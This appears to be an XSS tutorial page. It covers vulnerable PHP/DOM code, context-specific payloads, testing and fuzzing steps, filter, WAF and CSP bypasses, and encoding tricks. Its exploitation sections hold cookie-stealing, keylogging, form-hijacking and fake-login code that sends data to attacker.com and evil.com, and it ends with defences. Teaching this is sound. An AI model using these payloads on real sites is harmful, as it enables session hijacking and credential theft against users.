Documentation

What is Cross-Site Scripting?

Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When the victim loads the page, the malicious script executes in their browser context.

Types of XSS Vulnerabilities

<!-- Vulnerable PHP -->
<h1>Welcome <?php echo $_GET['name']; ?>!</h1>

<!-- Malicious URL -->
https://example.com/welcome.php?name=<script>alert('XSS')</script>

<!-- Vulnerable comment display -->
<div class="comment">
  <p><?php echo $comment['message']; ?></p>
</div>

<!-- Malicious comment -->
<script>document.location="http://evil.com/?c="+document.cookie</script>

// Vulnerable DOM manipulation
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello ' + name;

// Malicious URL
https://example.com/page.html#<img src=x onerror=alert(1)>

Execution Contexts

Understanding where your payload executes is crucial. Different contexts require different approaches:

<div>Hello $userInput</div>

<script>alert("XSS")</script>

<div>Hello <script>alert("XSS")</script></div>

<input value="$userInput">

" onmouseover="alert('XSS')

<input value="" onmouseover="alert('XSS')">

<script>var x = '$userInput';</script>

';alert('XSS');//

<script>var x = '';alert('XSS');//';</script>

<a href="$userURL">Click</a>

javascript:alert('XSS')

<a href="javascript:alert('XSS')">Click</a>

<style>body{background:$color}</style>

red}</style><script>alert(1)</script>

<style>body{background:red}</style><script>alert(1)</script>

Manual Testing Strategy

Manual testing remains one of the most effective ways to discover XSS vulnerabilities.

1. 1Identify all input points: URL params, form fields, HTTP headers, cookies
2. 2Test with simple HTML: <h1>test</h1>
3. 3Test script execution: <script>alert(1)</script>
4. 4Test event handlers: <img src=x onerror=alert(1)>
5. 5Test context breaking: "><script>alert(1)</script>
6. 6Try advanced payloads: <svg onload=alert(1)>
7. 7Test encoding bypasses: %3Cscript%3Ealert(1)%3C/script%3E
8. 8Check for DOM-based sinks: innerHTML, document.write, eval

Scanning Tools

Fuzzing Strategies

Systematic fuzzing helps discover edge cases that manual testing might miss:

1. 1Start with polyglot payloads that work across multiple contexts
2. 2Fuzz special characters: < > " ' / \ ; : = ( ) { } [ ]
3. 3Test encoding permutations: URL, HTML entity, Unicode, hex
4. 4Try null bytes and control characters as separators
5. 5Test length boundaries and truncation behavior
6. 6Fuzz HTTP headers: Referer, User-Agent, X-Forwarded-For

Filter Evasion

When basic payloads are blocked, encoding and obfuscation techniques can bypass filters:

<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<script\t>alert(1)</script>

%3Cscript%3Ealert(1)%3C/script%3E
%253Cscript%253Ealert(1)%253C/script%253E

<script>alert(1)</script>
<script>alert(1)</script>

\u003Cscript\u003Ealert(1)\u003C/script\u003E
<\u0073cript>alert(1)</\u0073cript>

<scri\x00pt>alert(1)</script>
<img src=x on\x00error=alert(1)>

<scr<!---->ipt>alert(1)</script>
<img src=x on/**/error=alert(1)>

Alternative Event Handlers

When common event handlers are blocked, try these alternatives:

WAF Bypass Techniques

Web Application Firewalls implement various rules to block XSS. Here are proven bypass techniques:

# Unicode bypass
<script>alert\u0028\u0031\u0029</script>

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Encoding combination
<script>eval(atob('YWxlcnQoMSk='))</script>

# Template literals
<script>alert`1`</script>

# Mixed case with spaces
< ScRiPt >alert(1)</ ScRiPt >

# Alternative tags
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>

# Event handler variations
<img src=x oNlOaD=alert(1)>

# Comment injection
<script>/**/alert(1)</script>

# String concatenation
<script>alert(String.fromCharCode(49))</script>

# Alternative execution
<script>Function('alert(1)')()</script>

# Mixed case
<ScRiPt>alert(1)</ScRiPt>

# Attribute padding
<img src =x onerror =alert(1)>

# Unicode events
<img src=x oN\u0065rror=alert(1)>

CSP Bypasses

Content Security Policy (CSP) is a powerful defense mechanism, but certain configurations can be bypassed:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp ng-click=$event.view.alert(1337)>Click</div>

<base href="//evil.com/">
<script src="./legitimate-script.js"></script>

# Nonce reuse
<script nonce="abc123">alert(1)</script>

# Script gadgets on whitelisted CDNs
<script src="https://allowed-cdn.com/angular.js"></script>

Advanced Encoding

Various encoding methods can bypass filters that don't properly decode input:

# Decimal
<script>alert(1)</script>

# Hexadecimal
<script>alert(1)</script>

# Unicode bypass
<script>alert\u0028\u0031\u0029</script>

# Overlong encoding
<script>eval('\\u{61}\\u{6C}\\u{65}\\u{72}\\u{74}(1)')</script>

# Base64 payload
<script>eval(atob('YWxlcnQoMSk='))</script>

# FromCharCode
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

# Template literals
<script>alert`1`</script>

# Function constructor
<script>[].constructor.constructor('alert(1)')()</script>

# setTimeout
<script>setTimeout('alert(1)',0)</script>

Session Hijacking

The most common XSS exploitation technique — stealing session cookies to impersonate users.

// Cookie stealer
new Image().src="https://attacker.com/steal?c="+document.cookie;

// Fetch-based exfiltration
fetch("https://attacker.com/log",{
  method:"POST",
  body:JSON.stringify({cookies:document.cookie,url:location.href})
});

Keylogging & Credential Theft

Capture keystrokes and form submissions to steal credentials.

// Keylogger
document.addEventListener("keypress",function(e){
  new Image().src="https://attacker.com/log?k="+e.key;
});

// Form hijacking
document.forms[0].addEventListener("submit",function(){
  fetch("https://attacker.com/creds",{
    method:"POST", body:new FormData(this)
  });
});

Phishing via XSS

Inject convincing fake login forms into legitimate websites.

// Inject a fake login overlay
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);display:flex;align-items:center;justify-content:center;z-index:99999"><div style="background:#fff;padding:40px;border-radius:12px;max-width:400px;width:90%"><h2>Session Expired</h2><p>Please log in again</p><form action="https://evil.com/phish"><input name="user" placeholder="Email"><input name="pass" type="password" placeholder="Password"><button>Sign In</button></form></div></div>';

Output Encoding

The primary defense against XSS — encode data before inserting it into the page:

Content Security Policy

CSP is a browser security mechanism that restricts content sources:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';

Input Validation

Validate and sanitize all user input on both client and server side:

1. 1Use allowlists over denylists wherever possible
2. 2Validate data type, length, format, and range
3. 3Use parameterized queries / prepared statements
4. 4Implement strict Content-Type headers
5. 5Set HttpOnly, Secure, SameSite cookie flags
6. 6Use modern frameworks with auto-escaping (React, Angular, Vue)
7. 7Implement Subresource Integrity (SRI) for external scripts

Essential References